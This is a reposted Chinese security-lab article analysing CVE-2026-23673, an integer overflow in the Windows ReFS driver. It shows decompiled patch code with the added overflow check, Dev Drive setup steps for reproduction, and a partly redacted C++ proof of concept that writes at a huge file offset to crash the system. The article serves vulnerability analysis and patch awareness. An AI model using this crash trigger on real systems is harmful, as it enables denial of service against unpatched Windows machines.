CVE-2026-23673ReFS越界读分析

admin 2026-04-25 04:29:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析CVE-2026-23673漏洞,涉及微软ReFS文件系统的越界读取问题。补丁通过新增整数溢出检查(StartOffset+Length==EndOffset)修复漏洞,攻击者可控制Length参数触发崩溃。复现需开启开发者模式创建ReFS格式磁盘,并运行特定POC代码进行验证。建议用户及时更新补丁避免系统风险。 综合评分: 85 文章分类: 漏洞分析,应急响应,安全工具,二进制安全,漏洞预警


cover_image

CVE-2026-23673 ReFS 越界读分析

原创

毕方安全实验室 毕方安全实验室

BeFun安全实验室

2026年3月25日 16:23 四川

在小说阅读器读本章

去阅读

CVE-2026-23673 ReFS 越界读分析

微软3月修了一个ReFS的越界读取漏洞,(AI生成:ReFS (Resilient File System) 是微软推出的一种弹性文件系统,旨在最大限度地提高数据可用性、跨不同工作负载高效扩展到大型数据集,并提供数据完整性保护。它通常用于 Windows Server 平台以及 Windows 10/11 的高级版本(如工作站版、Dev Drive 等)。)

默认情况下的Windows 11不能直接创建refs格式的磁盘,需要开启开发者模式创建dev drive。

补丁

char __fastcall RefsCopyWriteA(
        struct _FILE_OBJECT *FileObject,
        __int64 *pOffset,
        unsigned int Length,
        __int64 a4,
        int a5,
        __int64 a6,
        PIO_STATUS_BLOCK IoStatus)
{
  __int64 StartOffset; // v9
  __int64 EndOffset;   // v10
  unsigned int Len;    // v11

  if ( a6
    && ((StartOffset = *pOffset,
         EndOffset = StartOffset + Length,
         Len = Length,
         !(unsigned int)Feature_2771350842__private_IsEnabledDeviceUsageNoInline())
&nbsp; &nbsp; &nbsp;|| StartOffset <&nbsp;0
&nbsp; &nbsp; &nbsp;// 补丁新增的溢出校验:确保 StartOffset + Len == EndOffset 没有发生截断或溢出
&nbsp; &nbsp; &nbsp;|| StartOffset <= EndOffset && StartOffset + Len == EndOffset) )
&nbsp; {
&nbsp; &nbsp; return&nbsp;RefsCopyWriteInternal(FileObject, &StartOffset, a6,&nbsp;0, IoStatus);
&nbsp; }
&nbsp; else
&nbsp; {
&nbsp; &nbsp; return&nbsp;0;&nbsp;// 如果检测到溢出,直接拒绝执行
&nbsp; }
}

补丁新增的核心逻辑是:

StartOffset <= EndOffset && StartOffset + Len == EndOffset

这里Length是我们可以控制的,可以传一个很大的Length进而触发整数溢出:

1: kd> dq @rdx L1
ffff9808`8137be18 &nbsp;7fffffff`fffffff0

进而运行到nt!CcCopyWrite函数,此时的ULONG Length参数也是这个大数,引发崩溃。

复现步骤

Windows10/11下默认没开创建ReFS格式的VHD的功能,所以我们

先打开开发者模式:

然后创建一个dev drive:

最小是50G:

创建好以后就是ReFS格式:

然后初始化以后会自动挂载,然后poc(created by Gemini 3.1 Pro):

int&nbsp;main(int&nbsp;argc,&nbsp;char* argv[])&nbsp;{
&nbsp; &nbsp; // 省略了一些代码以防止滥用

&nbsp; &nbsp; std::cout&nbsp;<<&nbsp;"[+] Creating file: "&nbsp;<< filePath <<&nbsp;"\n";
&nbsp; &nbsp; HANDLE hFile = CreateFileA(filePath.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp;NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;NULL);
&nbsp; &nbsp; if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cout&nbsp;<<&nbsp;"[-] Failed to create file: "&nbsp;<< GetLastError() <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;1;
&nbsp; &nbsp; }

&nbsp; &nbsp; std::cout&nbsp;<<&nbsp;"[+] Initializing file to ensure it is cached...\n";
&nbsp; &nbsp; char&nbsp;buffer[4096];
&nbsp; &nbsp; memset(buffer,&nbsp;'A',&nbsp;sizeof(buffer));
&nbsp; &nbsp; DWORD bytesWritten =&nbsp;0;

&nbsp; &nbsp; // Normal write to ensure cache maps are set up
&nbsp; &nbsp; if&nbsp;(!WriteFile(hFile, buffer,&nbsp;1024, &bytesWritten,&nbsp;NULL)) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cout&nbsp;<<&nbsp;"[-] Initial write failed: "&nbsp;<< GetLastError() <<&nbsp;"\n";
&nbsp; &nbsp; }

&nbsp; &nbsp; ULONGLONG offset =&nbsp;0x7FFFFFFFFFFFFFF0ULL;

&nbsp; &nbsp; OVERLAPPED ov = {&nbsp;0&nbsp;};
&nbsp; &nbsp; ov.Offset = (DWORD)(offset &&nbsp;0xFFFFFFFF);
&nbsp; &nbsp; ov.OffsetHigh = (DWORD)(offset >>&nbsp;32);

&nbsp; &nbsp; // Write across the boundary
&nbsp; &nbsp; WriteFile(hFile, buffer,&nbsp;0x200, &bytesWritten, &ov);

&nbsp; &nbsp; // Also try larger lengths
&nbsp; &nbsp; WriteFile(hFile, buffer,&nbsp;0x1000, &bytesWritten, &ov);
}



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:BeFun安全实验室 毕方安全实验室 毕方安全实验室《CVE-2026-23673 ReFS 越界读分析》

评论:0   参与:  0